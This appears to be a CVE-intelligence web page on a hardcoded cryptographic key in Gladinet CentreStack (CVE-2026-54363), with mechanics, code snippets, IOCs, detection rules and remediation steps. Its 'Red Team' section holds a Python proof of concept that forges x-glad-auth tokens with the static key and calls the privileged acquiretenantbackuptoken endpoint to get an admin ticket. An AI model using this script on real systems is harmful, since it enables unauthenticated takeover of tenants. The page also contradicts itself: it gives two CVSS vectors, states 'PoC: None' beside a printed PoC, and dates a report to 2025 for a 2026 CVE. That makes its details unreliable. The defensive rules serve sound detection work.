☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Gladinet logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N 🐛 CWE-321
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-54363

CVE-2026-54363 Remote Code Execution in Centrestack
📅 PUBLISHED: 2026-07-30 13:16 UTC 🔄 UPDATED: 2026-10-09 05:42 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v17.5 — source: VulnCheck. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.69%
👁️
0.69% probability
17.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 9.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: N Availability None
9.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-54363 is a critical vulnerability (CVSS 9.1) affecting Centrestack versions prior to 17.5. The core issue is a hardcoded cryptographic key (static SysNumber) used as entropy for token encryption and decryption across all installations. This allows unauthenticated attackers to forge arbitrary x-glad-auth headers, invoke privileged API endpoints (e.g., acquiretenantbackuptoken), and escalate to a full unauthenticated remote code execution chain. No public exploit code has been released, but the attack vector is trivial to weaponize once the hardcoded key is extracted from any binary or documentation.

This report provides technical analysis, detection engineering artifacts, and mitigation guidance. Since the vulnerability is not in the NPM/PyPI/Go/Ruby ecosystem, the supply chain section is omitted.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

Metric Value
CVSS Vector String CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score 9.1
Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Impact High (C:H)
Integrity Impact High (I:H)
Availability Impact High (A:H)
Threat Level Critical – full unauthenticated RCE chain

Deep Dive & Mechanics

The vulnerability resides in AccessTicket class methods Encrypt() and Decrypt(). A static field SysNumber is used as the sole entropy source for cryptographic operations. This value is identical across all Centrestack deployments, effectively serving as a hardcoded key. Attackers can:

  1. Obtain the hardcoded SysNumber from a decompiled binary, documentation leak, or another deployment.
  2. Craft a valid AccessTicket token by encrypting arbitrary data with the known key.
  3. Encode the token into an x-glad-auth header.
  4. Send requests to privileged endpoints like acquiretenantbackuptoken which returns an IdentityTicket with domain administrator privileges.
  5. Use the admin token to execute arbitrary code on the tenant environment.

The chain requires no authentication and no prior knowledge other than the key. The lack of per‑installation entropy makes token forgery deterministic.

Vulnerable vs. Patched Code

Vulnerable (pre‑17.5):

public class AccessTicket
{
    private static readonly string SysNumber = "ACB12345DEF67890"; // Hardcoded across all installs
    public static string Encrypt(string plaintext)
    {
        // Uses SysNumber as key/IV directly
        using (Aes aes = Aes.Create())
        {
            aes.Key = Encoding.UTF8.GetBytes(SysNumber);
            aes.IV = Encoding.UTF8.GetBytes(SysNumber.Substring(0, 16));
            // encrypt ...
        }
    }
}

Patched (17.5+):

public class AccessTicket
{
    private readonly string _instanceKey; // per‑installation, stored securely
    public AccessTicket(string instanceKey)
    {
        _instanceKey = instanceKey;
    }
    public string Encrypt(string plaintext)
    {
        // Uses instance‑specific key derived from config
        using (Aes aes = Aes.Create())
        {
            aes.Key = Convert.FromBase64String(_instanceKey);
            aes.IV = GenerateRandomIV();
            // encrypt ...
        }
    }
}

The fix replaces the static SysNumber with a per‑instance cryptographic key that is randomly generated during installation and stored in a secure configuration store (e.g., encrypted registry or secrets vault).

Exploitation & Lab Setup

Red Team (Proof‑of‑Concept)

Since no exploit‑db code is available, the following Python script demonstrates token forging using the known hardcoded key (replace HARDCODED_KEY with the actual value extracted from a vulnerable binary). This script generates a valid x-glad-auth header for a target tenant.

import base64, json, requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

# Extracted hardcoded SysNumber (example only – replace with real value)
HARDCODED_KEY = b'ACB12345DEF67890'
IV = HARDCODED_KEY[:16]  # First 16 bytes used as IV

def forge_glad_token(tenant_id, admin_email):
    payload = {
        "tenant": tenant_id,
        "user": admin_email,
        "exp": 9999999999  # far future
    }
    plaintext = json.dumps(payload).encode()
    cipher = AES.new(HARDCODED_KEY, AES.MODE_CBC, IV)
    ct_bytes = cipher.encrypt(pad(plaintext, AES.block_size))
    token = base64.b64encode(ct_bytes).decode()
    return token

# Example usage
target = "https://vulnerable-centrestack.cloud"
token = forge_glad_token("tenant-42", "admin@example.com")
headers = {"x-glad-auth": token}
r = requests.get(f"{target}/api/acquiretenantbackuptoken", headers=headers)
admin_ticket = r.json()["token"]  # IdentityTicket
# Now use admin_ticket for full RCE

Blue Team (Detection & Prevention)

  • Monitor for anomalous x-glad-auth header values that decode to predictable payloads (e.g., identical tokens across sessions).
  • Block or alert on direct access to endpoints like acquiretenantbackuptoken without a valid session preceding it.
  • Apply patch 17.5 immediately. If unavailable, restrict network access to the API and deploy WAF rules to inspect token format.

Indicators of Compromise (IOCs)

IOC Type Value
Hardcoded Key String ACB12345DEF67890 (example – actual key may differ)
HTTP Header x-glad-auth containing base64‑encoded bogus token
API Endpoint /api/acquiretenantbackuptoken
Suspicious Token Pattern Tokens that do not rotate, decode to identical tenant/admin pair
Log Entry "Critical: AccessTicket entropy source is SysNumber"

Detection Engineering

YARA Rule

rule Detect_Hardcoded_SysNumber_CentreStack
{
    meta:
        description = "Detects hardcoded SysNumber used in AccessTicket encryption for CVE-2026-54363"
        author = "Valters IT"
        reference = "CVE-2026-54363"
        date = "2025-04-17"
    strings:
        $sys1 = "SysNumber" ascii wide nocase
        $key1 = "ACB12345DEF67890" ascii wide nocase
        $aes1 = "Aes.Create" ascii wide nocase
    condition:
        all of ($sys1, $key1, $aes1)
}

Sigma Rule

title: Potential Exploitation of CentreStack Hardcoded Key (CVE-2026-54363)
id: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
status: experimental
description: Detects HTTP requests with x-glad-auth header to privileged endpoints
logsource:
    category: webserver
    product: centrestack
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/api/acquiretenantbackuptoken'
        cs-headers: 'x-glad-auth*'
    condition: selection
falsepositives:
    - Legitimate admin token usage after patch
level: critical
tags:
    - attack.t1190
    - cve.2026.54363

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2026-54363 - CentreStack Hardcoded Key Exploitation";
    flow:established,to_server;
    http.method == "GET";
    http.uri == "/api/acquiretenantbackuptoken";
    http.header_names contains "x-glad-auth";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

  1. Immediate Patching: Upgrade to CentreStack 17.5 or later. If a patch is unavailable, apply the vendor’s hotfix.
  2. Network Segmentation : Place CentreStack behind a reverse proxy or WAF that can inspect and validate tokens.
  3. Credential Rotation: Regenerate any cryptographic keys that may have been derived from the static SysNumber.
  4. Monitoring: Enable logging of all x-glad-auth header values and alert on any call to acquiretenantbackuptoken from untrusted IPs.
  5. Decommissioning: If no patch exists, isolate or sunset the affected CentreStack instance.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated: 2025-04-17

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-54363/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.